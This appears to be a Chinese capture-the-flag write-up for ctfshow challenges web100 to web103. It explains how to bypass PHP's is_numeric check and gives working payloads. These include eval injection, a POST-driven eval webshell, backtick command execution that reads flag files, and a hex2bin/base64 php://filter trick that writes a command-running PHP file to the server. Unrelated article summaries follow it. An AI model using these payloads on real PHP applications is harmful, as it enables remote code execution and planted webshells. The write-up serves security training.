ctfshow-web入门-php特性(web100-web103)is_numeric 函数绕过

目录

1、web100

2、web101

3、web102

4、web103


1、web100

提示:flag in class ctfshow,我们只需要构造输出 ctfshow 这个类即可。

代码分析:

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){

虽然逻辑运算符的优先级比赋值运算符要高,但是如果逻辑运算符和赋值运算符连用时,往往允许存在先进行赋值运算,后再进行逻辑运算的顺序。

 is_numeric() 函数用于检测变量是否为数字或数字字符串,对于 php 来说:

$a=true and false and false;
var_dump($a);  返回true$a=true && false && false;
var_dump($a);  返回false

需要满足 if 语句才会进入后面的判断,因此要求 v0 为 1,这里用的是 and,所以只需要满足 v1是数字即可。

if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){

要求 v2 中不能有分号,v3 中需要有分号。

eval("$v2('ctfshow')$v3");

如果上述要求都满足,则会调用 eval 函数。

构造 payload:

?v1=1&v2=echo new ReflectionClass&v3=;

代入 eval 函数实际就是执行: 

eval("echo new ReflectionClass('ctfshow');");

ReflectionClass 是 PHP 中用于反射类的内置类,它允许获取关于类的信息,比如类的方法、属性等,'ctfshow' 是传递给 ReflectionClass 构造函数的类名,这段代码的实际作用是创建一个 ReflectionClass 对象,用来反射名为 'ctfshow' 的类,并将其输出(echo)到页面上。

拿到的 flag:5322193e0x2d9ab00x2d4faa0x2daafc0x2d21f6bbb10397

需要将 0x2d 替换为 - ,结果再使用 ctfshow{} 包裹。

最终 flag 为:ctfshow{5322193e-9ab0-4faa-aafc-21f6bbb10397}

除了输出 ctfshow 类,这里还可以进行命令执行:

b 站视频里用 %23 也就是 # 将后面的内容进行注释掉

?v1=1&v2=eval($_POST[1])?>%23&v3=;

 post:

1=system('ls');

其实不注释也是可以的,这里也没有注释成功,因为我们已经使用 ?> 将前面的 php 代码闭合了,后面的 ('ctfshow') 已经在 php 标签外了,只会被当做纯文本直接输出。

也可以直接使用反引号进行命令执行:

?v1=1&v2=echo `ls`?>&v3=;

不用去考虑后面多出来的内容,闭合前面的 php 代码即可。 

但是这里发现 flag 并不在 flag36d.php 里面 

最终在 ctfshow.php 里面找到 flag:

?v1=1&v2=echo `tac ctfshow.php`?>&v3=;

此外,还可以直接输出 $ctfshow,payload:

?v1=1&v2=var_dump($ctfshow)?>&v3=;
?v1=1&v2=print_r($ctfshow)?>&v3=;
?v1=1&v2=var_export($ctfshow)?>&v3=;

除了用 ?> 让 php 代码提前闭合,也可以将后面多余部分 ('ctfshow') 注释掉:

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

替换进 eval 函数就是 eval(var_dump($ctfshow)/*('ctfshow')*/;);

当然,不注释,不提前闭合,直接用前面代码也能正常回显出结果:

?v1=1&v2=var_dump($ctfshow)&v3=;

2、web101

在上一题的基础上,对 v2 和 v3 新增了很多的过滤,特别是 $ 和反引号这些都被毙掉了,我们只能采用反射类的方法:

?v1=1&v2=echo new ReflectionClass&v3=;

替换掉 0x2d 后得到 ctfshow{6aefebb5-4607-4473-b33e-890dae795f1}

查看提示:最后一位需要爆破16次,题目给的flag少一位

好吧再爆破一下:

最后一位是 8  

最终 flag:ctfshow{6aefebb5-4607-4473-b33e-890dae795f18}

3、web102

代码审计:

$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){

要求 v2 是数字,这样才会满足 if 条件,进入后面的语句。

$s = substr($v2,2);

从 $v2 的第三个字符开始截取子字符串并赋值给 $s。

$str = call_user_func($v1,$s);

调用 $v1 指定的函数,并将 $s 作为参数传递给该函数,将函数的返回值赋值给 $str。

file_put_contents($v3,$str);

将 $str 写入 $v3 指定的文件中。

可以看出这里我们控制的 payload 应该从 v2 的第三位起,并且内容只能先传入数字;

接着我们通过 v1 指定函数,这里可以使用 hex2bin 函数,将前面传入 v2 的数字作为十六进制数值转换为 ASCII 字符,转换后的结果返回给了 $str;

最后通过 file_put_contents 函数将内容写入到我们指定的文件 v3 里面。

但是问题在于,什么样的 payload 转换成十六进制全是数字呢? 

其实很难有完整的,我们无法直接写入,因此在写入的时候采用伪协议,对写入内容进行 Base64 解码后再写入,而我们可以对 payload 先进行 base64 编码后,再转为 16 进制。

payload:

<?=`cat *`;

先转为 base64 编码:

PD89YGNhdCAqYDs=

再转为 16 进制:

5044383959474e68644341715944733d

结尾的 3d 肯定是不行的,因此去掉 3d,相当于去掉的是 base64 里的等号,这个是不影响的。

得到:

5044383959474e6864434171594473

其实可以注意到,里面还有一个字母 e,那么 e 可以被当做数字吗?

不难看出 e 在中间是符合 is_numeric() 的,作为科学计数,因此满足题目代码要求。

为什么不使用 cat f* 或者 cat flag.php,因为这些转出来的内容都不行,不符合都是数字的要求。

注意,我们的 payload 是从 v2 第三位开始的,因此前面需要增加两个数字,绕过 substr 函数。 

所有这里 v2 传入 payload:005044383959474e6864434171594473

v1 传入用来转换的函数:hex2bin

v3 传入伪协议,用来对要写入的数据先进行 Base64 解码:php://filter/write=convert.base64- decode/resource=1.php

完整 payload:

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post:

v1=hex2bin

被 echo 出来的 PD89YGNhdCAqYDs 其实就是我们的 payload,也就是 $str 的内容,这个内容会通过伪协议,先 base64 解码后,再写入到 1.php 里面去。 

 

之后访问 1.php,查看源码:

拿到 flag:ctfshow{d75d19d4-078a-4f3d-bfb3-0ae18277c463} 

4、web103

新增过滤 php,实际上转出来能满足  is_numeric() 函数的本身就很少了,而且上一题我们压根也没有使用到 php,所以直接用上一题的 payload 打就行:

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post: 

v1=hex2bin

访问 1.php 查看源码:

拿到 flag:ctfshow{47ff55ed-50e7-4951-8629-dfab88da8c4f}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/376363.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring Boot整合Druid:轻松实现SQL监控和数据库密码加密

文章目录 1 引言1.1 简介1.2 Druid的功能1.3 竞品对比 2 准备工作2.1 项目环境 3 集成Druid3.1 添加依赖3.2 配置Druid3.3 编写测试类测试3.4 访问控制台3.5 测试SQL监控3.6 数据库密码加密3.6.1 执行命令加密数据库密码3.6.2 配置参数3.6.3 测试 4 总结 1 引言 1.1 简介 Dru…

gfast前端UI:基于Vue3与vue-next-admin适配手机、平板、pc 的后台开源模板

摘要 随着现代软件开发的高效化需求&#xff0c;一个能够快速适应不同设备、简化开发过程的前端模板变得至关重要。gfast前端UI&#xff0c;基于Vue3.x和vue-next-admin&#xff0c;致力于提供这样一个解决方案。本文将深入探讨gfast前端UI的技术栈、设计原则以及它如何适配手机…

Neo4j:图数据库的革命性力量

Neo4j 首席技术官 prathle 撰写了一篇出色的博文&#xff0c;总结最近围绕 GraphRAG 的热议、我们从一年来帮助用户使用知识图谱 LLM 构建系统中学到的东西&#xff0c;以及我们认为该领域的发展方向。Neo4j一时间又大火起来&#xff0c;本文将带你快速入门这神奇的数据库。 前…

sentinel源码分析: dashboard与微服务的交互、pull模式持久化

文章目录 原始方式微服务端规则如何保存规则如何加载进内存微服务端接收控制台请求控制台推送规则总结 pull拉模式官方demo如何整合Spring Cloud整合Spring Cloud 前置知识 SentinelResource的实现原理、SphU.entry()方法中ProcessorSlotChain链、entry.exit() 建议先会使用se…

秋招Java后端开发冲刺——MyBatisPlus总结

一、 基本知识 1. 介绍 yBatis-Plus 是一个 MyBatis 的增强工具&#xff0c;在 MyBatis 的基础上增加了大量功能和简化操作&#xff0c;以提高开发效率。 2. 特点 无侵入&#xff1a;只做增强不做改变&#xff0c;引入它不会对现有项目产生影响。依赖少&#xff1a;仅仅依赖 …

谈谈软件交互设计

谈谈软件交互设计 交互设计的由来 交互设计(Interaction Design)这一概念,最初是由IDEO创始人之一Bill.Moggridge(莫格里奇)1984年在一次会议上提出。他设计了世界上第一台笔记本电脑Compass,并写作出版了在交互设计领域影响深远的《Designing Interactions》一书,被称…

mqtt.fx连接阿里云

本文主要是记述一下如何使用mqtt.fx连接在阿里云上创建好的MQTT服务。 1 根据MQTT填写对应端口即可 找到设备信息&#xff0c;里面有MQTT连接参数 2 使用物模型通信Topic&#xff0c;注意这里的post说设备上报&#xff0c;那也就是意味着云端订阅post&#xff1b;set则意味着设…

Linux内核编译安装 - Deepin,Debian系

为什么要自己编译内核 优点 定制化&#xff1a;你可以根据自己的硬件和需求配置内核&#xff0c;去掉不必要的模块&#xff0c;优化性能。性能优化&#xff1a;移除不需要的驱动程序和特性&#xff0c;减小内核体积&#xff0c;提高系统性能。最新特性和修复&#xff1a;获取…

【密码学】从有限状态自动机到密钥流生成器

本文是对流密码内容的拓展&#xff0c;在流密码中种子密钥通过一个伪随机数生成器产生一个与明文等长的伪随机密钥流。而本文的内容就是在回答这样两个问题&#xff1a; 伪随机密钥流是如何生成的&#xff1f;流密码、流密钥生成器和有限状态自动机之间是什么关系&#xff1f;…

Mac和VirtualBox Ubuntu共享文件夹

1、VirtualBox中点击设置->共享文件夹 2、设置共享文件夹路径和名称&#xff08;重点来了&#xff1a;共享文件夹名称&#xff09; 3、保存设置后重启虚拟机&#xff0c;执行下面的命令 sudo mkdir /mnt/share sudo mount -t vboxsf share /mnt/share/ 注&#xff1a;shar…

Gitea 仓库事件触发Jenkins远程构建

文章目录 引言I Gitea 仓库事件触发Jenkins远程构建1.1 Jenkins配置1.2 Gitea 配置引言 应用场景:项目部署 I Gitea 仓库事件触发Jenkins远程构建 Gitea支持用于仓库事件的Webhooks 1.1 Jenkins配置 高版本Jenkins需要关闭跨域限制和开启匿名用户访问 在Jenkins启动前加入…

东软“引战”国家队 通用技术“补链”大国重器

向来低调温和的东软创始人刘积仁&#xff0c;这一次抛出了“王炸”级的资产交易。 7月3日&#xff0c;《多肽链》获得一则足以引爆国内医疗设备行业的投资信息&#xff1a;被东软集团视为核心资产、掌上明珠的东软医疗&#xff0c;成功引入通用技术集团资本有限公司与中国国有…

华为配置蓝牙终端定位实验

个人主页&#xff1a;知孤云出岫 目录 配置蓝牙终端定位示例 业务需求 组网需求 数据规划 配置思路 配置注意事项 操作步骤 配置文件 配置蓝牙终端定位示例 组网图形 图1 配置蓝牙终端定位示例组网图 业务需求组网需求数据规划配置思路配置注意事项操作步骤配置文件 业…

用HTML和CSS实现提示工具(tooltip)及HTML元素的定位

所谓提示工具&#xff0c;是指将鼠标移动到某个HTML元素&#xff08;工具&#xff09;时会显示一些提示内容&#xff08;提示文本&#xff09;&#xff0c;而鼠标移出工具元素的范围时提示文本就消失了。考虑到提示文本元素应当在鼠标进入工具元素时显示&#xff0c;鼠标离开工…

【VS2019】安装下载库HtmlAgilityPack,可解析 HTML (图文详情)

目录 0.背景 1.环境 2.详细步骤 0.背景 项目需要&#xff0c;搭建WCF服务&#xff0c;需求是输入一个string类型字符串&#xff08;网页代码&#xff0c;如<html><body><p>Hello, <b>World</b>!</p></body></html>&#xf…

《代理选择与反爬虫策略探究:如何优化网络爬虫效率与稳定性》

代理IP如何选以及常见反爬策略 为什么需要代理&#xff1f; 因为有的网站会封IP&#xff0c;用户如果没有登录&#xff0c;那IP就是身份标识&#xff0c;如果网站发现用户行为异常就非常可能封IP 什么是代理IP 就是让一个人帮你转交请求&#xff0c;帮你转交的人对面不熟&a…

<数据集>猫狗识别数据集<目标检测>

数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;3686张 标注数量(xml文件个数)&#xff1a;3686 标注数量(txt文件个数)&#xff1a;3686 标注类别数&#xff1a;2 标注类别名称&#xff1a;[cat, dog] 序号类别名称图片数框数1cat118811892dog24982498 使用标…

vmware 虚拟机扩容 centos 硬盘扩容 kylinos v10扩容

1. 虚拟机先扩容 1.1 关机&#xff0c;并点击系统&#xff0c;让他是点选状态&#xff0c;但是没开机 1.2 右击&#xff0c;点击最下方设置&#xff0c;点击硬盘 1.3 点击扩展磁盘 1.4 选择你需要扩容的大小&#xff0c;数字为总大小 完成提示&#xff1a; 磁盘已成功扩展。您…

整洁架构SOLID-接口隔离原则(ISP)

文章目录 定义ISP与编程语言ISP与软件架构小结 定义 在上图中有多个用户需要操作OPS类。现在&#xff0c;我们假设这里的User1只需要使用op1,User2只需要使用op2,User3只需要使用op3。 在这种情况下&#xff0c;如果OPS类是用Java编程语言编写的&#xff0c;那么很明显&#x…

安全防御实验2

一、实验拓扑 二、实验要求 办公区设备可以通过电信链路和移动链路上网(多对多的NAT&#xff0c;并且需要保留一个公网IP不能用来转换)分公司设备可以通过总公司的移动链路和电信链路访问到Dmz区的http服务器多出口环境基于带宽比例进行选路&#xff0c;但是&#xff0c;办公区…